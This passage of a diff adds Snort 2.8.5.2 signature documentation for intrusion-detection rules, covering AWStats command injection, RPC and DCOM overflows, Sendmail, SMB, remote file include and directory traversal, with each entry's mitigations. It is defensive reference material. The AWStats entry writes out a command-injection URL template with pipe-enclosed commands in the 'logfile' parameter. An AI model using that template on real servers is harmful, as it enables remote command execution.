+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3463.txt
+++ snort-2.8.5.2/doc/signatures/3463.txt
@@ -0,0 +1,66 @@
+Rule:
+
+--
+Sid:
+3463
+
+--
+Summary:
+This event is generated when an attempt is made to access the cgi script
+awstats.pl.
+
+--
+Impact:
+Possible execution of system commands.
+
+--
+Detailed Information:
+Adavanced Web Statistics (awstats) is used to process web server log
+files and produces reports of web server usage.
+
+Some versions of awstats do not correctly sanitize user input. This may
+present an attacker with the opportunity to supply system commands via
+the "logfile" parameter. For the attack to be sucessful the "update"
+parameter must also have the value set to "1". This event indicates that
+an attempt has been made to access the awstats.pl cgi script.
+
+--
+Affected Systems:
+	Awstats 6.1 and prior
+
+--
+Attack Scenarios:
+An attacker can supply commands of their choosing as a value for the
+logfile parameter by enclosing the commands in pipe charecters. For
+example: 
+
+ http://www.foo.com/cgi-bin/awstats.pl?update=1&logfile=|<command here>|
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software.
+
+Disallow access to awstats.pl as a CGI script.
+
+--
+Contributors:
+Sourcefire Research Team
+Alex Kirk <akirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1906.txt
+++ snort-2.8.5.2/doc/signatures/1906.txt
@@ -0,0 +1,68 @@
+Rule:
+--
+Sid:
+1906
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a buffer
+overflow associated with the Remote Procedure Call (RPC) amd service.
+
+--
+Impact:
+Remote root access. This attack can permit execution of arbitrary
+commands with the privileges of the user running amd, typically root.
+
+--
+Detailed Information:
+The amd RPC service implements the automounter daemon on UNIX hosts. The
+amd service automatically mounts and unmounts requested file systems.
+There is a buffer overflow associated with amd logging that can allow
+execution of arbitrary commands with the privileges of the user running
+amd, typically root.
+
+--
+Affected Systems:
+	BSDI BSD/OS 3.1, 4.0.1
+	FreeBSD 3.0, 3.1, 3.2
+	Red Hat Linux 4.2, 5.0, 5.1, 5.2, 6.0
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where amd runs
+and then attack the amd port. Alternatively, an attacker may attempt to
+execute the exploit code on any listening port in the RPC range if the
+portmapper is blocked. 
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to
+RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2434.txt
+++ snort-2.8.5.2/doc/signatures/2434.txt
@@ -0,0 +1,79 @@
+Rule:
+
+--
+Sid:
+2434
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a CGI web application running on a server.
+
+--
+Impact:
+Possible unauthorized administrative access to the server or application.
+Possible execution of arbitrary code of the attackers choosing.
+
+--
+Detailed Information:
+MDaemon is mail server software for Microsoft Windows systems. It uses a
+CGI web interface to send email. The email form used to submit the
+message does not properly check user supplied input. This may result in
+an attacker being able to supply a "From" field larger than 249 bytes
+which may in turn cause an error condition to occur in the executable
+file handling the form input. This error may present the attacker with
+the opportunity to gain administrative access to the server and also
+execute code of their choosing.
+
+This event is generated when an attempt is made to gain unauthorized
+access to a CGI application running on a web server. Some applications do
+not perform stringent checks when validating the credentials of a client
+host connecting to the services offered on a host server. This can lead
+to unauthorized access and possibly escalated privileges to that of the
+administrator. Data stored on the machine can be compromised and trust
+relationships between the victim server and other hosts can be exploited by the attacker.
+
+If stringent input checks are not performed by the CGI application, it
+may also be possible for an attacker to execute system binaries or
+malicious code of the attackers choosing.
+
+--
+Affected Systems:
+	Alt-N MDaemon 6.5.2
+	Alt-N MDaemon 6.7.5, 6.7.9
+	Alt-N MDaemon 6.8.0 through 6.8.5
+
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her
+own credentials to gain access. Alternatively the attacker can exploit
+weaknesses to gain access as the administrator by supplying input of
+their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/262.txt
+++ snort-2.8.5.2/doc/signatures/262.txt
@@ -0,0 +1,58 @@
+Rule:
+
+--
+Sid:
+262
+
+--
+Summary:
+This event is generated when spurious DNS traffic is detected on the network. 
+
+--
+Impact:
+Ranges from harmless to severe.  A successful corrupted DNS IP and name pairing can range from harmless (if the IP is not used) to severe (if a user is misdirected to a hostile host).
+
+--
+Detailed Information:
+This event indicates that abnormal DNS traffic has been detected. The implications are varied and careful investigation of the source and destination should be undertaken.
+
+This may be the result of an improperly configured DNS server or it may be an indication that an attack against the DNS server is underway.
+
+--
+Affected Systems:
+Any DNS server.
+
+--
+Attack Scenarios:
+An attacker can spoof a DNS response to misrepresent an IP to host/name pairing.  The forged host name can direct a user to a potentially hostile host.
+
+--
+Ease of Attack:
+Simple to Difficult depending on the DNS implementation.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Consider using DNSSEC where appropriate.
+
+Keep all DNS software up to date and correctly configured.
+
+--
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3221.txt
+++ snort-2.8.5.2/doc/signatures/3221.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3221
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3321.txt
+++ snort-2.8.5.2/doc/signatures/3321.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3321
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1922.txt
+++ snort-2.8.5.2/doc/signatures/1922.txt
@@ -0,0 +1,61 @@
+Rule:
+
+--
+Sid:
+1922
+
+--
+Summary:
+This event is generated when an attempt is made to forward a Remote Procedure Call (RPC) request through the portmapper service.
+
+--
+Impact:
+Information disclosure.  This can detect and request RPC services offered.
+
+--
+Detailed Information:
+The RPC "callit" procedure allows the portmapper to act as a proxy to forward requests to other RPC services offered by the host. This allows an attacker to call an RPC service on the same host without knowing the port number associated with the RPC service.    
+
+--
+Affected Systems:
+All hosts running portmapper.
+
+--
+Attack Scenarios:
+An attacker can use the portmapper proxy to circumvent any required authentication when sending requests to the actual port associated with an RPC service.
+
+--
+Ease of Attack:
+Simple. 
+
+--
+False Positives:
+According to RFC 1057, this proxy feature supports broadcasts to RPC services using the well-known portmapper port.  Legitimate hosts may attempt to use the proxy feature.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines.
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+RFC:
+http://www.ietf.org/rfc/rfc1057.txt
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000623.txt
+++ snort-2.8.5.2/doc/signatures/100000623.txt
@@ -0,0 +1,73 @@
+Rule:
+
+--
+Sid:
+100000623
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file 
+include vulnerability in the "Indexu" application running on a webserver. 
+Access to the file "menu.php" using a remote file being passed as the 
+"admin_template_path" parameter may indicate that an exploitation attempt has 
+been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized 
+administrative access to the server or application. Possible execution of 
+arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a 
+remote machine via the "admin_template_path" parameter in the "menu.php" script 
+used by the "Indexu" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also 
+be possible for an attacker to execute system binaries or malicious code of the 
+attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to 
+a CGI application running ona web server. Some applications do not perform 
+stringent checks when validating the credentials of a client host connecting to 
+the services offered on a host server. This can lead to unauthorized access and 
+possibly escalated privileges to that of the administrator. Data stored on the 
+machine can be compromised and trust relationships between the victim server 
+and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Indexu
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own 
+credentials to gain access. Alternatively the attacker can exploit weaknesses 
+to gain access as the administrator by supplying input of their choosing to the 
+underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had 
+all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/549.txt
+++ snort-2.8.5.2/doc/signatures/549.txt
@@ -0,0 +1,57 @@
+Rule:
+
+--
+Sid:
+549
+
+--
+Summary:
+This event is generated when activity by Peer-to-Peer (p2p) clients is detected.
+
+--
+Impact:
+Informational event. Unauthorized use of a p2p client may be in progress.
+
+--
+Detailed Information:
+This event indicates that use of a p2p client has been detected. This may be against corporate policy. p2p clients connect to other p2p clients to share files, commonly music and video files but can be configured to share any file on the local machine.
+
+This activity may not only use bandwidth but may also be used to transfer company confidential information to unauthorized hosts external to the protected network bypassing other security measures in place.
+
+--
+Affected Systems:
+Any host using a p2p client.
+
+--
+Attack Scenarios:
+This is indicative of the use of a p2p client.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Check the host and uninstall any p2p client found.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+OpenNap Specification
+http://opennap.sourceforge.net/napster.txt
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2785.txt
+++ snort-2.8.5.2/doc/signatures/2785.txt
@@ -0,0 +1,69 @@
+Rule: 
+
+--
+Sid: 
+2785
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database server.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code and Denial of Service.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to exploit a known
+vulnerability in an Oracle database implementation. Multiple buffer
+overflow conditions are present in numerous packages and procedures.
+
+Exploitation of these vulnerable procedures may allow an attacker to
+execute code of their choosing as the user running the database. In the
+case of databases running on Microsoft Windows platforms, this is the
+Local System account which may mean a compromise of the operating system
+as well as the database.
+
+This event indicates that an attempt has been made to exploit a
+vulnerability in the procedure execute_ddl
+. This procedure is included in
+dbms_repcat.
+
+--
+Affected Systems:
+	Oracle Oracle9i
+
+--
+Attack Scenarios: 
+If an attacker can supply enough data to the procedure in question, it
+may be possible to cause the overflow condition to occur and present the
+attacker with the opportunity to execute code of their choosing.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Alex Kirk <alex.kirk@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2198.txt
+++ snort-2.8.5.2/doc/signatures/2198.txt
@@ -0,0 +1,59 @@
+Rule:  
+
+--
+Sid:
+2198
+
+--
+Summary:
+This event is generated when an attempt is made to access cvslog.cgi on an internal web server. This may indicate an attempt to exploit a cross-site scripting vulnerability in Mozilla Bonsai 1.3.
+
+--
+Impact:
+Arbitrary code execution, possible session hijack.
+
+--
+Detailed Information:
+Mozilla Bonsai, a CVS query tool, contains an information disclosure vulnerability in cvslog.cgi. An attacker can discover the location of the Mozilla Bonsai application by sending a malformed request to the application, which produces an error. The error message shows the full path of the cvslog.cgi file, providing the attacker with information about the server directory structure.
+
+--
+Affected Systems:
+Any system running Mozilla Bonsai 1.3.
+
+--
+Attack Scenarios:
+An attacker sends an erroneous request to cvslog.cgi on the Bonsai server. The error message returns the full path of the script, allowing the attacker to discover more information about the server directory structure for possible use in later attacks.
+
+--
+Ease of Attack:
+Simple. Proof of concept exists.
+
+--
+False Positives:
+If a legitimate remote user accesses cvslog.cgi, this rule may generate an event.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to a newer build of Mozilla Bonsai 1.3.
+
+If you are running Mozilla Bonsai on Debian 3.0, Debian has provided patches at http://security.debian.org/pool/updates/main/b/bonsai/.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Sourcefire Technical Publications Team
+Jennifer Harvey <jennifer.harvey@sourcefire.com>
+
+-- 
+Additional References:
+Bugtraq
+http://www.securityfocus.com/bid/5517
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000802.txt
+++ snort-2.8.5.2/doc/signatures/100000802.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000802
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "BosClassifieds" application running on a webserver. Access to the file "index.php" using a remote file being passed as the "insPath" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "insPath" parameter in the "index.php" script used by the "BosClassifieds" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using BosClassifieds
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2262.txt
+++ snort-2.8.5.2/doc/signatures/2262.txt
@@ -0,0 +1,60 @@
+Rule:  
+
+--
+Sid:
+2262
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in versions of Sendmail.
+
+--
+Impact:
+Remote arbitrary code execution.
+
+--
+Detailed Information:
+A vulnerability exists in the prescan() function used in Sendmail prior
+to version 8.12.9. This function contains an error when converting a
+character to an integer value while processing SMTP headers.
+
+--
+Affected Systems:
+All systems using Sendmail.
+
+--
+Attack Scenarios:
+An attacker could exploit this condition to process code of their
+choosing and open a listening shell bound to a high port, thus opening the
+system to further compromise.
+
+--
+Ease of Attack:
+Simple. Exploit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade Sendmail to the latest non-affected verison.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+CERT:
+http://www.cert.org/advisories/CA-2003-12.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2478.txt
+++ snort-2.8.5.2/doc/signatures/2478.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2478
+
+--
+Summary:
+This event is generated when an attempt is made to bind to the winreg
+service.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to bind to the RPC
+service for winreg.
+
+--
+Affected Systems:
+	Windows systems
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the service to manipulate host
+settings.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+Microsoft Technet
+http://support.microsoft.com/support/kb/articles/q153/1/83.asp
+CVE
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-1999-0562
+Winreg
+http://www.rutherfurd.net/python/winreg/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/119-12.txt
+++ snort-2.8.5.2/doc/signatures/119-12.txt
@@ -0,0 +1,61 @@
+Rule: 
+
+--
+Sid: 
+119-12
+
+-- 
+Summary: 
+This event is generated when the pre-processor http_inspect
+detects network traffic that may constitute an attack.
+
+-- 
+Impact: 
+Unkown.
+
+--
+Detailed Information:
+This event is generated by the http_inspect pre-processor when a tab
+character is detected in a web request. This is non-standard, but Apache
+web servers may use this character as a space delimeter.
+
+--
+Affected Systems:
+	Apache web servers
+
+--
+Attack Scenarios: 
+An attacker may supply the tab character in place of a space in a web
+request.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+-- 
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Daniel Roelker <droelker@sourcefire.com> 
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+HTTP IDS Evasions Revisited - Daniel Roelker
+http://docs.idsresearch.org/http_ids_evasions.pdf
+
+--
--- snort-2.8.5.2.orig/doc/signatures/452.txt
+++ snort-2.8.5.2/doc/signatures/452.txt
@@ -0,0 +1,63 @@
+Rule:
+
+--
+
+Sid:
+452
+
+--
+
+Summary:
+This event is generated when a network host generates an ICMP Timestamp Reply with an invalid or undefined ICMP Code.
+
+--
+
+Impact:
+Information-gathering.  An ICMP Timestamp Reply message is sent in response to an ICMP Timestamp Request message.  If the ICMP Timestamp Reply message reaches the requesting host it indicates that the replying host is alive.  Most OS's (operating systems) will accept an ICMP Timestamp Reply message with an invalid or undefined ICMP code set as a valid ICMP Timestamp Reply.
+
+--
+
+Detailed Information:
+ICMP Type 0 Code 0 is the RFC defined messaging type for ICMP Timestamp Reply datagrams.  This type of message is used to determine if a host is active on the network.
+
+If ICMP type 8 (echo) traffic is filtered at a firewall, an attacker may try to use type 14 (timestamp) as an alternative.
+
+--
+
+Attack Scenarios:
+Remote attackers my generate ICMP Timestamp Reply datagrams with invalid ICMP Codes in an attempt to cause faults in the applications or hosts generating ICMP Timestamp Requests.
+
+--
+
+Ease of Attack:
+Numerous tools and scripts can generate this type of ICMP datagram.
+
+--
+
+False Positives:
+None known
+
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Use ingress filtering to prevent ICMP Type 0 messages from entering the network.
+
+--
+
+Contributors:
+Original rule writer unknown
+Sourcefire Research Team
+Matthew Watchinski (matt.watchinski@sourcefire.com)
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+
+Additional References:
+None
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1113.txt
+++ snort-2.8.5.2/doc/signatures/1113.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1113
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1270.txt
+++ snort-2.8.5.2/doc/signatures/1270.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1270
+
+--
+Summary:
+This event is generated when an attempt is made through a portmap GETPORT request to discover the port where the Remote Procedure Call (RPC) rstatd is listening.
+
+
+--
+Impact:
+Information disclosure.  This request is used to discover which port rstatd is using.  Attackers can also learn what versions of the rstatd protocol are accepted by rstatd. 
+
+--
+Detailed Information:
+The portmapper service registers all RPC services on UNIX hosts. It can be queried to determine the port where RPC services such as rstatd run.  The rstatd RPC service can be queried for performance statistics obtained from the kernel including network, disk, and CPU.  This can provide valuable information to determine which host may make a suitable target to participate in a particular attack. 
+
+--
+Affected Systems:
+All hosts running the UNIX portmapper.
+
+--
+Attack Scenarios:
+An attacker can query the portmapper to discover the port where rstatd runs.  This may be a precursor to querying rstatd for usage statistics.
+
+--
+Ease of Attack:
+Easy.  
+
+--
+False Positives:
+If a legitimate remote user is allowed to access rstatd, this rule may trigger.
+
+--
+False Negatives:
+This rule detects probes of the portmapper service for rstatd, not probes of the rstatd service itself. Because RPC services often listen on fairly arbitrary ports, it may not be possible to detect misuses of the rstatd service itself. An attacker may attempt to go directly to the rstatd port without querying the portmapper service, which would not trigger the rule.
+
+--
+Corrective Action:
+Limit remote access to RPC services.
+
+Filter RPC ports at the firewall to ensure access is denied to RPC-enabled machines. 
+
+Disable unneeded RPC services.
+
+--
+Contributors:
+Original rule written by Max Vision <vision@whitehats.com>
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Arachnids:
+http://www.whitehats.com/info/IDS10
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1345.txt
+++ snort-2.8.5.2/doc/signatures/1345.txt
@@ -0,0 +1,64 @@
+Rule:
+
+--
+Sid:
+1341
+
+--
+Summary:
+Attempted cpp command access via web
+
+--
+Impact:
+Attempt to compile a binary on a host.
+
+--
+Detailed Information:
+This is an attempt to compiile a C or C++ source on a host. The cpp
+command is theGNU project's C and C++ compiler used to compile C and
+C++ sourcefiles into executable binary files. The attacker could
+possibly compilea program needed for other attacks on the system or
+install a binaryprogram of his choosing.
+
+--
+Attack Scenarios:
+The attacker can make a standard HTTP request that contains
+'/usr/bin/cpp'inthe URI.
+
+--
+Ease of Attack:
+Simple HTTP request.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+
+Webservers should not be allowed to view or execute files and binaries
+outside of it'sdesignated web root or cgi-bin. This command may also
+be requested on acommand line should the attacker gain access to the
+machine. Wheneverpossible, sensitive files and certain areas of the
+filesystem shouldhave the system immutable flag set to prevent files
+from being addedto the host. On BSD derived systems, setting the
+systems runtimesecurelevel also prevents the securelevel from being
+changed. (note: thesecurelevel can only be increased).
+--
+Contributors:
+Sourcefire Research Team
+
+-- 
+Additional References:
+sid: 1342
+sid: 1343
+sid: 1344
+sid: 1346
+sid: 1347
+sid: 1348
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3140.txt
+++ snort-2.8.5.2/doc/signatures/3140.txt
@@ -0,0 +1,77 @@
+Rule: 
+
+--
+Sid: 
+3140
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in Microsoft systems using Server Message Block (SMB).
+
+-- 
+Impact: 
+Serious. Execution of arbitrary code leading to unauthorized
+administrative access to the target host. Denial of Service (DoS) is
+also possible.
+
+--
+Detailed Information:
+SMB is a client - server protocol used in sharing resources such as
+files, printers, ports, named pipes and other things, between machines
+on a network.
+
+A vulnerability in the Microsoft implementation of SMB exists due to a
+programming error which may present an attacker with the opportunity to
+exploit the service and run code of their choosing on an affected
+system. The attacker may then cause a DoS condition in the service or
+possibly gain unauthorized access to the target host.
+
+A malicious attacker can exploit the vulnerability by sending a
+malicious response from a server in response to a client request using
+SMB.
+
+--
+Affected Systems:
+	Microsoft Windows 2003
+	Microsoft Windows 2000
+	Microsoft Windows XP
+
+--
+Attack Scenarios: 
+An attacker can supply extra data in the message from the server
+containing code of their choosing to be run on the client.
+
+-- 
+Ease of Attack: 
+Simple.
+
+-- 
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patches.
+
+Turn off windows file and print services.
+
+Use Samba as an alternative.
+
+--
+Contributors: 
+Sourcefire Vulnerability Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+eEye:
+http://www.eeye.com/html/research/advisories/AD20050208.html
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2479.txt
+++ snort-2.8.5.2/doc/signatures/2479.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+2479
+
+--
+Summary:
+This event is generated when an attempt is made to bind to the winreg
+service.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to bind to the RPC
+service for winreg.
+
+--
+Affected Systems:
+	Windows systems
+
+--
+Attack Scenarios:
+An attacker may attempt to bind to the service to manipulate host
+settings.
+
+--
+Ease of Attack:
+Simple.
